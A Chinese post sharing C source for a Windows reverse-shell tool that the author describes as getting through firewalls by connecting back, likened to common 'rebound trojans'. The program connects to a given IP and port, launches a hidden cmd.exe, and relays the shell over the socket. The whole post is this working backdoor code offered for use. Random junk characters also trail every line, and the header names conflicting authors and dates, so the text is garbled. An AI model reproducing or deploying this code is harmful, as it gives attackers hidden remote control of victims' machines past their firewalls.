这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 X[H .t$w5A
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/* ============================== K@%T5M4j
Rebound port in Windows NT km5gO|V>m
By wind,2006/7 SqRM*Cf=
===============================*/ 8v8-5N
#include -!qjBK,`X
#include NIQ}+xpC
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#pragma comment(lib,"wsock32.lib") ("j;VqYUL
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void OutputShell(); N~IAm:G}[
SOCKET sClient; &{glwVKV
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Pi |Z\j)
ht L1aQ.
void main(int argc,char **argv) "(p /3qFY
{ s5+;8u9K
WSADATA stWsaData; oQV3
int nRet; ,30lu a
SOCKADDR_IN stSaiClient,stSaiServer; vO~w~u5
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if(argc != 3) IBeorDIZ
{ YcwDNsk
printf("Useage:\n\rRebound DestIP DestPort\n"); 9W\"A$;+&
return; T+EwC)Ll
} 0<uLQVoR2n
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WSAStartup(MAKEWORD(2,2),&stWsaData); =-/'$7R,
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); iRkUL]H@&
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stSaiClient.sin_family = AF_INET; v@SHR0
stSaiClient.sin_port = htons(0); .bP8Z=
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); K;rgLj0m
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) GYb&'#F~t
{ O/ItN5B
;
printf("Bind Socket Failed!\n"); _=`DzudE
return; Uf7ACv)Dn
} _%Xp2`m
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stSaiServer.sin_family = AF_INET; {{_v.d~1
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); RFFbS{U*
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); %O#zE-H"
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) "K9[P:nw
{ [bX^_ Y
printf("Connect Error!"); dyf>T}Iy
return; V6_":L"!
} >?ar
OutputShell(); q "T?
} )F&.0 '
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void OutputShell() +_*NY~
{ &J|I&p
char szBuff[1024]; h@1/
SECURITY_ATTRIBUTES stSecurityAttributes; =L1%gQJJ&
OSVERSIONINFO stOsversionInfo; )!E:
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; L;vglS=l;
STARTUPINFO stStartupInfo; cmU0=js.
char *szShell; BQ[R)o
PROCESS_INFORMATION stProcessInformation; `W_&^>yl
unsigned long lBytesRead; 9ei'oZ
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); -}sMOy`
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); $0P16ZlPC
stSecurityAttributes.lpSecurityDescriptor = 0; D$H&^,?N
stSecurityAttributes.bInheritHandle = TRUE; %x@bP6d[
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); &FOq c
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); /y4A?*w 6
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); NJd4( P
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VyYrL]OrA
stStartupInfo.wShowWindow = SW_HIDE; $6 Hf[(/ e
stStartupInfo.hStdInput = hReadPipe; t.RDS2N|
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; c2:,
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GetVersionEx(&stOsversionInfo); ~l] w=[
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switch(stOsversionInfo.dwPlatformId) L7GNcV]c
{ /u90)x
case 1: (vi^ t{k
szShell = "command.com"; tBZ?UAe;
break; lFIaC}
default: NM),2% <
szShell = "cmd.exe"; >j ].`T
break; <?L5bhq
} IN#/~[W
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); )g
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send(sClient,szMsg,77,0); 1>OU~A"
while(1) U61
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{ Zm++5b`W/[
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [h' 22W
if(lBytesRead) b">"NvlB
{ AA ~7"2e
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 47*2QL^zj
send(sClient,szBuff,lBytesRead,0); E#tfCM6
} vZS/?pU~~
else ;"EDFH#W
{ SJLs3iz_)
lBytesRead=recv(sClient,szBuff,1024,0); P92pQ_W
if(lBytesRead<=0) break; =F/ R*5:T
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); \}=W*xxB
} fMW=ss^fu-
} n4XkhY|
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return; -H[@]Q4w
}